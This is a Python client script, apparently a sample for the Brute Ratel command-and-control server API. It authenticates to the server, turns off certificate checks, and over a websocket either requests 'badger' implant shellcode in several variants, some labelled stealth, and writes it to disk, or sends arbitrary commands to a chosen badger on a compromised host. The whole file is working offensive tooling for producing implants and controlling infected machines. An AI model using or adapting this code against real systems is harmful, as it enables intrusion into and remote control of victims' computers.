#!/usr/bin/python3

import ssl
import websocket
import json
import requests
import urllib3
import threading
import base64
import sys
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Requests a rtl shellcode request. Check API docs for more information

def readerThread(ws):
    while True:
        response = ws.recv()
        jdata = json.loads(response)
        if 'task' in jdata and 'access' in jdata :
            if jdata['access'] == True:
                taskID = jdata['task']

                if taskID == 36:
                    savePath = jdata['save_path']
                    print("[+] Received Payload. Saving to disk as", savePath)
                    shellcode = base64.b64decode(jdata['payload_dat'])
                    shellcodeLen = len(shellcode)
                    fileIO = open(savePath, "wb")
                    fileIO.write(shellcode)
                    fileIO.close()
                    print("[+] Wrote %d bytes to disk" % shellcodeLen)
                    sys.exit(0)
                if taskID == 17:
                    print("Command sent successfully")

def main():
    parser = argparse.ArgumentParser(description='This is a sample script to use Brute Ratel Server API!!!')
    parser.add_argument('-u', type=str, required=True, help="Brute Ratel username", metavar='')
    parser.add_argument('-p', type=str, required=True, help="Brute Ratel user's password", metavar='')
    parser.add_argument('-s', type=str, required=True, help="Brute Ratel server host and port. Eg: 127.0.0.1:8443", metavar='')
    parser.add_argument('-g', type=str, required=False, help="Generates rtl, wait, rtl-stealth, rtl-wait shellcode", metavar='')
    parser.add_argument('-c', type=str, required=False, help="Sends a command to a badger", metavar='')
    parser.add_argument('-b', type=str, required=False, help="BadgerID to send a payload to", metavar='')
    args = parser.parse_args()
    if not args.c and not args.g:
        print("Error: Need atleast '-g' or '-c")
        sys.exit(0)

    if args.c:
        if not args.b:
            print("Error: Need Badger ID '-b' to send command to the badger")
            sys.exit(0)

    user = args.u
    password = args.p
    server = args.s
    loginData = json.dumps({'creds':{'user':user,'pass':password}})
    response = requests.post('https://'+server+'/', data=loginData, verify=False)
    jdata = json.loads(response.text)
    if 'token' in jdata:
        cookie = jdata['token']
        print("[+] Auth Success. Cookie:", cookie)
        ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
        ws.connect("wss://"+server)
        ws.send(json.dumps({'creds': { 'token': cookie, 'user': 'admin' }, 'task':0}))
        threading.Thread(target=readerThread, args=(ws,)).start()

        apiRequest = json.dumps({})
        shellcodeType = 1
        if args.g:
            if args.g == "rtl":
                shellcodeType = 1
            elif args.g == "wait":
                shellcodeType = 2
            elif args.g == "rtl-stealth":
                shellcodeType = 8
            elif args.g == "rtl-wait":
                shellcodeType = 9
            else:
                sys.exit(0)

            apiRequest = json.dumps({
                'payload_arch': 1,
                'payload_config_name': 'primary-c2',
                'payload_type': shellcodeType,
                'save_path': 'badger_x64_'+args.g+'.bin',
                'svc_desc': 'NA',
                'svc_name': 'NA',
                'task': 36
            })
        else:
            apiRequest = json.dumps({
                'bgr_cmd':{
                    'badger': args.b,
                    'cmd': args.c
                },
                'task':17
            })

        ws.send(apiRequest)

if __name__ == "__main__":
    main()